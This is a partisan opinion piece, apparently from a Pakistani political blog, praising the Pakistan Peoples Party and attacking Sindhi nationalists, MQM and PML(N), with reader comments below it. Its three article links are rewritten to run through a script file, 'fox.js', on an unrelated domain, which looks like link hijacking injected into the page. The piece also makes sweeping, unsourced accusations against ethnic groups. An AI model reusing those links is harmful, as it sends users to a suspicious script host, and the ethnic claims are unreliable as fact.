PPP a mirror for ethno-nationalists – By Ali Sher Mussali
Pakistan Peoples Party is the largest political party of Pakistan since 1970s, which has continuously struggled for strong federation in Pakistan. PPP is the only political party in Pakistan, which is party of the people, ideologically and by its name as well. This is not a Muslims only party like more than a dozen Muslim Leagues, and it is not a party of any person such as Nawaz, and it is not a party which talks about any specific ethnicity, religion, sect and race. PPP has chosen class politics in Pakistan to minimize marginalization and to get rid of religious, regional and ethnic hatred.
PPP during (2008-2011) awarded identity to Pasthuns by naming their province as per their broader demand. The president of Pakistan transferred his powers to parliament and provincial autonomy and empowering was initiated through legislation via 18th amendment. PPP government has clear stance against construction of Kala Bag Dam enhancing confidence while simultaneously the PPP government has focused the marginalized sections of our society. Benazir Income Support Programme (BISP) is well acknowledged and a partial social protection programme which has unintended political implication in Pakistan’s class politics.
These few grand bold actions have actually frustrated fascist ethnic and religious political factions and the establishment and its civilian partners called nationalists, socialist or right wing. It is an obvious paradigm shift in Pakistan’s politics that minority provinces and their politicians from indigenous population have proved their ability to govern their country. That is an alarming factor for “Baniyan nay Pakistan” or the creators of Pakistan, the Indian Muslims, the Punjabi and Urdu speaking ‘Muhajirs’ or refugees. The Indian Urdu speaking adopted Islamic term Hijart- migration for their Muhajir identity while Punjabi Muhajirs- refugees in Punjab (more in numbers than Urdu speaking in Sindh) always felt pride to be owners of Pakistan. Punjabi Muhajirs had enslaved locals indigenous population with support of colonial laws and created Takhat-e- Lahore as fort of pure Wahabi Islam.
The Pir, The Chief, The Bhai, an Indian Muslim Muhajir, now citizen of Great Britain tried to awake the international community in his speech last days and gave a number of Muhajirs in Pakistan (five crore out of seventeen crore total population) asked India to reabsorb that population. We can understand that this number of “Baniyaan nay Pakistan” includes Punjabi Muhajirs in Punjab province of Pakistan.
See my article http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/51659
MQM had single important mandate in Karachi- expertise in killings- nothing else- for control over land. Hundreds of innocent peasants were killed in last two months (See HRCP report). Killings ratio is in close proximity to population and political existence in effected areas and 34 PPP workers have been killed during last 7 months. PPP is determined to save humanity and scarified a PPP devotee the strong interior minister and tried to reconcile with MQM just to save human lives in Karachi. This move brought the governor Sindh back and a apparent break in killings. But again walls of Karachi of MQM controlled areas were full with a slogan for Muhajir province. MQM’s aggressive leadership started abusing ethnic Sindhis and challenged Sindhi nationalist. No strike was called by the nationalists directly against MQM. So called Sindhi nationalists leadership is creation of Punjabi establishment, some time they were supported by a military dictator Zia and some time by Musharaf and now by Nawaz Sharif and ISI.
See an article http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/49166
The Zia breed with various slogans is actually anti-class politics or anti-PPP politics and they have nothing to do with Nawaz League leadership’s standpoint on Kala Bag Dam and their argument for Sindh’s division. The Sindhi ethno-nationalists have always been seen willing to embrace the established and non-indigenous Punjabi Muhajir leadership to counter PPP in Sindh.
Rasool Bux Palejo’s always preferred to be allied with right wing and played for Hamid Gul, Chief Justice but his son Ayaz Latif Palejo has proved to be two hands ahead of him. He recently told media that a sitting General has contacted him and asked about issue of Sindh’s division.
http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/53168
Though unpopular nationalist leadership has power to shut down cities by blasting crackers, firing etc but they know that they will never fascinate voters in Sindh. The marginalized sections of population do not trust them because for their blurred and two-pronged politics. It is fact that nationalist leadership of MQM and other ethnic parties and factions in rural Sindh emerged from lower class but they now imitate to be upper class to distinguish them from marginalized. They always abused the voters and poked voters for their illiteracy etc.
GM Syed’s son Syed Jalal Mahmood Shah claimed to be Muhajir (2-3 Centuries old) from Arab in Sindh and said in an online interaction with mainstream Urdu channel that 50 percent of population in Sindh consists over Balochs. I don’t know why he mentioned this new political thread at this time? If he wants to see movements for Baloch province, Thar province, Laar province or Upper Sindh province in Sindh?.
The Sindhi nationalist always unhappy with PPP and its peoples’ centric ideological politics they even do not want to understand PPP’s swindling politics to counter MQM’s fraudulent and temporary or day to day politics.
Is there any evidence that the Sindhi nationalists had opposed local government devolution system during 2001 to 2007? No, because it was their masters’ plan and they were contented to Musharaf that he was suppressing PPP. No movement during Mush martial law because they need powerful masters in establishment to contradict and create problems for PPP in Sindh and especially in Karachi district of Sindh.
It is fact that PPP’s leadership including other allied parties had given mandate to the president of Pakistan Asif Ali Zardari to deal with MQM for peace in Karachi. PPP leadership in Sindh had restored commissioner system in absence of MQM but from first day PPP leadership was ready for talks with MQM for any change.
As a test case PPP higher leadership decided to award separate system for Hyderabad and Karachi. Yes a test case for sleeping nationalists and test case for vibrant terrorist faction within MQM. There was no other way to awake the sleeping nationalists of Sindh. Who seen slept on PML (N)’s statement in favour of Sindh’s division, dozing while PML (N)’s leadership demanded for Kala Bag Dam and they were in deep sleep even after seeing slogans for Muhajir province in Sindh.
I would like to mention that a mainstream Sindhi language channel KTN and its Qazi owners had played partial politics. In fact not in favour of PPP’s good decisions but it raised issue such as Sindhi Topi issue and then Sindh’s division issue partially and gave coverage and managed small mobs of anti-PPP protests in all over Sindh on the Camera lens. Ali Qazi with his co-host (like Najam Sethi with his little co-host) gave a slogan “One Sindhi One System” which was a message for the nationalists and some politicians within PPP who could not understand president Zaradari’s politics. It was a warning message especially for MQM’s leadership that PPP is not only obstacle against Sindh division but nationalists and electronic media too may play a role. But I would like to suggest Ali Qazi that he should continue to be partial and should abstain to follow Geo group and he should ask nationalists that why they are not happy with local body system in 2011 and why they did not opposed strongly this system while it was being implemented by Musharaf only to please MQM.
The Sindhi print and electronic media should support democracy and democratic values and should isolate Zia and Hameed Gul breed and leaders who welcomed an Indian Kashmiri Muhajir who initiated Sindh’s division issue. PML (N) had raised Karachi issue to halt Punjab division and his party’s leadership (Rana Sanaullah) still fixed and wants to see Karachi as separate province within Sindh.
PPP is an ideology, an ideology of class politics, it does not matter that who is leading the ideology. PPP ideology has sacrificed lives of its important leaders. An ideology can not be perished by terror, by killings, by threats and unreliable leadership.
Let us hope or there is no doubt that Sindhi ethno-nationalists will protest on 13th August 2011 in front of Nine Zero (90) in Karachi and Raiwind Mahal near Takhat-e-Lahore instead of houses of their constituency leaders elected by majority votes. But there is a doubt that if it is possible that ethno-nationalists will counteract against ethno-nationalists their brothers in nationalistic politics- the MQM and PML (N)- the right wing funded by ISI, Saudi and Al-Qaida. And if it is not possible for you than please recognize PPP ideology as mirror.
Congrats to Mussali Sain to have said what others don’t dare to. PPP may not strcitly be a class based party and only working for the interests of the working class. In sindh (excluding Karachi)in southern Punjab and Balochistan it is a multi class party. In North central Punjab and KP, it is by and large a working class party. Also, while it has perhaps done more for the welfare of the working class, it is also steeped in neo-liberal economics. I think the larger point is that the PPP represents the poor and the marginalised, many of whom happen to be indigenous also.
So far as Sindhi nationalists are concerned,you are absolutely right. They have always gone along with the fascists – army, N league, Ishaq Khan and his proxies. PPP is all that stands in the way of fascism in Pakistan.
Thanks Chandio Sahab. I agreed your view regarding PPP’s multi-pronged politics in Pakistan and thanks for articulated view about PPP and its linkage with indigenous or marginalized in Pakistan.
I think being Chandio by tribe or caste(must be from Larkana) you know better about fascist Sindhi nationalists.
Thanks again
Ali Sher, interesting perspective. I am always amazed how Sindhi nationalist parties align themselves with military dictators and their proxies like MQM and then blame PPP for making tough decisions to stop bloodshed of Sindhis, Balochis and Pushtuns.
Interesting article, but lets also judge PPP on its own stated ideology and class politics. The very fact that President Zardari is following a policy of re-conciliation with these butchers PPP cannot escape the responsibility of the this on going killings in Karachi.
The fact that PPP doesn’t stand on its ideology actually creates a platform where these fascists operate.
PPP should end class collaborationist policies and end this murderous non sense called re-conciliation. we cannot reconcile with fascists. If you do, it make you nothing else than a collaborationist.
Dear Shaheryar,
Not only PPP or Zardari but the world is following Benazir’s re-conciliation theory. Zardari is heirs that theory and he is asked by world to use that theory of re-conciliation for peace and economic interests in world.
Lets wait and hope that we will gain and win through by reconciling.
AS Mussali